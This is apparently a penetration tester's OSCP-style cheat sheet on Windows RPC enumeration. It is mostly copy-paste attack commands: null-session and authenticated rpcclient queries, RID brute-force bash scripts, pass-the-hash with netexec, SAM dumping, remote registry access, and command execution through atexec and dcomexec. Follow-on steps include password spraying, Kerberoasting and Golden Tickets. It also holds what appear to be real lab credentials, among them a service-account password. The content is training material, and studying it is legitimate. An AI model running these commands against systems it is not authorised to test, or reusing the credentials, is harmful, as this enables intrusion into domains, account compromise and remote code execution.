RPC

RPC Enumeration — Complete Reference

What is RPC?

Remote Procedure Call (RPC) lets programs execute code on remote systems. Windows uses MSRPC extensively for AD (users, groups, password policy), service management, DCOM, and more.

How Windows RPC ports work:

• Port 135 = RPC Endpoint Mapper — the directory service that maps service names → dynamic ports
• Dynamic ports (49152–65535 on modern Windows, 1024–65535 on older) = where actual RPC services listen
• When you talk to port 135, it tells you which high port a specific service is listening on
• You can also connect directly to a known dynamic port if you already know it

[Attacker] → Port 135 (EPM) → "Service X is on port 49664"
[Attacker] → Port 49664 (direct) → interact with service

---

📌 1) Enumerate the Endpoint Mapper (Port 135)

Find all registered RPC services and their dynamic ports.

Nmap

# Enumerate all RPC endpoints
nmap -p 135 --script msrpc-enum 10.10.10.10
 
# RPC info (also lists dynamic ports)
nmap -p 135 -sV 10.10.10.10

rpcdump.py (Impacket) — best tool for this

# Unauthenticated — list all RPC endpoints
impacket-rpcdump 10.10.10.10
rpcdump.py 10.10.10.10
 
# With credentials
impacket-rpcdump domain/user:password@10.10.10.10
rpcdump.py domain/user:password@10.10.10.10
 
# Non-standard port (RPC EPM on different port)
rpcdump.py user:password@10.10.10.10 -p 49664
impacket-rpcdump -port 49664 user:password@10.10.10.10
 
# Output shows: UUID, protocol, endpoint (port), annotation (service name)
# Look for interesting services: samr (users/groups), lsarpc (auth), svcctl (services)

impacket-rpcdump vs rpcdump.py

Both are the same tool. impacket-rpcdump is the Kali wrapper; rpcdump.py is the direct script (may need full path):

# Kali (installed package)
impacket-rpcdump 10.10.10.10
 
# Direct script (if not in PATH)
python3 /usr/share/doc/python3-impacket/examples/rpcdump.py 10.10.10.10
python3 ~/.local/bin/rpcdump.py 10.10.10.10

---

📌 2) Interactive RPC Shell — rpcclient

rpcclient gives you an interactive shell to query domain info via the SAMR and LSARPC interfaces.

Connect (standard port 445/135)

# Null session (no creds — try this first)
rpcclient -U "" -N 10.10.10.10
rpcclient -U "" 10.10.10.10      # Will prompt for password — just press Enter
 
# With credentials
rpcclient -U "user%password" 10.10.10.10
rpcclient -U "domain/user%password" 10.10.10.10
 
# Pass-the-hash
rpcclient -U "user%NTHASH" --pw-nt-hash 10.10.10.10

Connect on a NON-STANDARD PORT

When RPC is running on a dynamic/high port (e.g. 49664) instead of the standard 135/445:

# -p flag specifies the port
rpcclient -U "mark%OathDeeplyReprieve91" -p 49664 192.168.229.247
 
# Null session on high port
rpcclient -U "" -N -p 49664 10.10.10.10
 
# With domain
rpcclient -U "corp\\jsmith%Password1" -p 49670 10.10.10.10

rpcclient commands (once connected)

# User enumeration
enumdomusers                   → List all domain users
enumdomgroups                  → List all domain groups
queryuser 0x1f4                → Get full user info by RID (0x1f4 = RID 500 = Administrator)
queryuser <username>           → Get user info by name

# Group membership
querygroupmem 0x200            → Members of a group by RID (0x200 = Domain Users)
querygroup 0x200               → Group info

# SID / RID lookups
lookupnames administrator      → Get SID for a username
lookupsids S-1-5-21-...        → Get username for a SID

# Password policy
getdompwinfo                   → Password policy (min length, lockout, etc.)
getusrdompwinfo 0x1f4          → Password policy for specific user

# Computer accounts
enumdomains                    → List domains
enumalsgroups domain           → Alias groups in domain
enumalsgroups builtin          → Built-in groups

# Printer enumeration
enumprinters                   → List printers (may reveal hostnames/paths)
enumports                      → List printer ports

# Service and share enumeration (SMB interface)
netshareenum                   → List shares
netshareenumall                → All shares including hidden

# Trust relationships
dsenumdomtrusts                → Domain trusts

RID brute-force (enumerate users without enumdomusers)

# Manual RID cycling
for i in $(seq 500 1100); do
  result=$(rpcclient -U "user%password" 10.10.10.10 -c "queryuser $(printf '0x%x' $i)" 2>/dev/null)
  if echo "$result" | grep -q "User Name"; then
    echo "$result" | grep "User Name"
  fi
done
 
#bash script (queryusers.sh):
#!/bin/bash
TARGET="$1"
if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target>"
    exit 1
fi
rpcclient -U "" -N "$TARGET" -c "enumdomusers" \
| awk -F'[][]' '/rid:/{print $4}' \
| while read rid; do
    echo "[*] Querying RID $rid"
    rpcclient -U "" -N "$TARGET" -c "queryuser $rid"
    echo "--------------------------------------"
done
 
#!/bin/bash
TARGET="$1"
if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target>"
    exit 1
fi
rpcclient -U 'svc_helpdesk' --password=U299iYRmikYTHDbPbxPoYYfa2j4x4cdg "$TARGET" -c "enumdomusers" \
| awk -F'[][]' '/rid:/{print $4}' \
| while read rid; do
    echo "[*] Querying RID $rid"
    rpcclient -U 'svc_helpdesk' --password=U299iYRmikYTHDbPbxPoYYfa2j4x4cdg "$TARGET" -c "queryuser $rid"
    echo "--------------------------------------"
done
 
 
# Or use a dedicated tool
lookupsid.py user:password@10.10.10.10
impacket-lookupsid user:password@10.10.10.10
impacket-lookupsid -no-pass 10.10.10.10   # Null session

---

📌 3) Authenticated RPC via netexec / crackmapexec

netexec (formerly crackmapexec) can interact with RPC on both standard and non-standard ports.

Standard port

# Basic RPC enumeration
netexec rpc 10.10.10.10 -u user -p password
crackmapexec rpc 10.10.10.10 -u user -p password
 
# Null session
netexec rpc 10.10.10.10 -u '' -p ''
 
# With domain
netexec rpc 10.10.10.10 -u user -p password -d corp.local

Non-standard port (--port)

# RPC on a specific high port
netexec rpc 192.168.229.247 -u mark -p OathDeeplyReprieve91 --port 49664
crackmapexec rpc 192.168.229.247 -u mark -p OathDeeplyReprieve91 --port 49664
 
# Null session on high port
netexec rpc 10.10.10.10 -u '' -p '' --port 49670

CME/netexec RPC modules

# Enumerate users via RPC
netexec rpc 10.10.10.10 -u user -p password --users
netexec rpc 10.10.10.10 -u user -p password --groups
netexec rpc 10.10.10.10 -u user -p password --pass-pol
 
# Subnet sweep
netexec rpc 10.10.10.0/24 -u user -p password
 
# With hash (PTH)
netexec rpc 10.10.10.10 -u user -H NTHASH

---

📌 4) Impacket RPC Tools

Impacket has several scripts that use RPC under the hood.

# rpcdump — list all RPC endpoints
impacket-rpcdump 10.10.10.10
impacket-rpcdump domain/user:password@10.10.10.10
 
# lookupsid — RID brute force (enumerate users)
impacket-lookupsid domain/user:password@10.10.10.10
impacket-lookupsid domain/user:password@10.10.10.10 20000   # Try RIDs up to 20000
 
# samrdump — dump SAM database users/groups via SAMR interface
impacket-samrdump domain/user:password@10.10.10.10
 
# reg — remote registry access via RPC
impacket-reg domain/user:password@10.10.10.10 query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -v ProductName
 
# atexec — run command via Task Scheduler RPC interface
impacket-atexec domain/user:password@10.10.10.10 "whoami"
 
# dcomexec — run command via DCOM (uses RPC)
impacket-dcomexec domain/user:password@10.10.10.10 "whoami"

---

📌 5) Dynamic Port Discovery Workflow

When you see a high port (49152+) in Nmap and aren’t sure what’s running:

# Step 1 — banner grab
nc -nv 10.10.10.10 49664
 
# Step 2 — identify with Nmap
nmap -p 49664 -sV --script default 10.10.10.10
 
# Step 3 — ask the EPM what service is on that port
impacket-rpcdump 10.10.10.10 | grep -i "49664"
# Look for: ncacn_ip_tcp:10.10.10.10[49664] and the annotation/UUID
 
# Step 4 — try rpcclient directly on that port
rpcclient -U "user%pass" -p 49664 10.10.10.10
# If it connects → run enumdomusers, etc.
 
# Step 5 — try netexec rpc on that port
netexec rpc 10.10.10.10 -u user -p pass --port 49664

---

📌 6) What To Look For

Finding	Action
Null session works (-U "" -N)	Enumerate users, groups, password policy — all without creds
Users from enumdomusers	Build username list → Kerberoast, AS-REP, brute force, spray
Groups from enumdomgroups	Find who’s in Domain Admins, Administrators, etc.
Password policy (getdompwinfo)	Know lockout threshold before brute-forcing
SID of domain (lookupsids)	Needed for Golden Ticket / BloodHound
High-port RPC open	Same as 135 — rpcclient + rpcdump to enumerate
svcctl in rpcdump output	Service control → may allow service manipulation with admin creds
winreg in rpcdump output	Remote registry access → can read/write registry keys

---

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# ─── ENUMERATE ENDPOINTS ───────────────────────────────────────
 
# Standard port
impacket-rpcdump 10.10.10.10
impacket-rpcdump domain/user:password@10.10.10.10
 
# Non-standard port
rpcdump.py mark:OathDeeplyReprieve91@192.168.229.247 -p 49664
rpcdump.py user:password@10.10.10.10 -p 49664
 
# ─── INTERACTIVE SHELL ─────────────────────────────────────────
 
# Null session
rpcclient -U "" -N 10.10.10.10
 
# With creds
rpcclient -U "user%password" 10.10.10.10
 
# Non-standard port
rpcclient -U "user%password" -p 49664 10.10.10.10
 
# Inside rpcclient:
enumdomusers
enumdomgroups
getdompwinfo
queryuser 0x1f4
lookupnames administrator
 
# ─── NETEXEC / CRACKMAPEXEC ────────────────────────────────────
 
# Standard port
netexec rpc 10.10.10.10 -u user -p password --users
 
# Non-standard port
netexec rpc 10.10.10.10 -u user -p password --port 49664
 
# ─── ENUMERATE USERS (RID BRUTE FORCE) ─────────────────────────
 
impacket-lookupsid domain/user:password@10.10.10.10
 
# ─── DUMP USERS / GROUPS ───────────────────────────────────────
 
impacket-samrdump domain/user:password@10.10.10.10

---

Related Tools

• rpcclient
• enum4linux
• Impacket Enumeration
• CrackMapExec - nxc

Related Notes

• rpcclient
• Impacket
• CrackMapExec - nxc
• enum4linux
• AD
• Kerberoast
• Bloodhound + Sharphound
• Networking
• General
• Training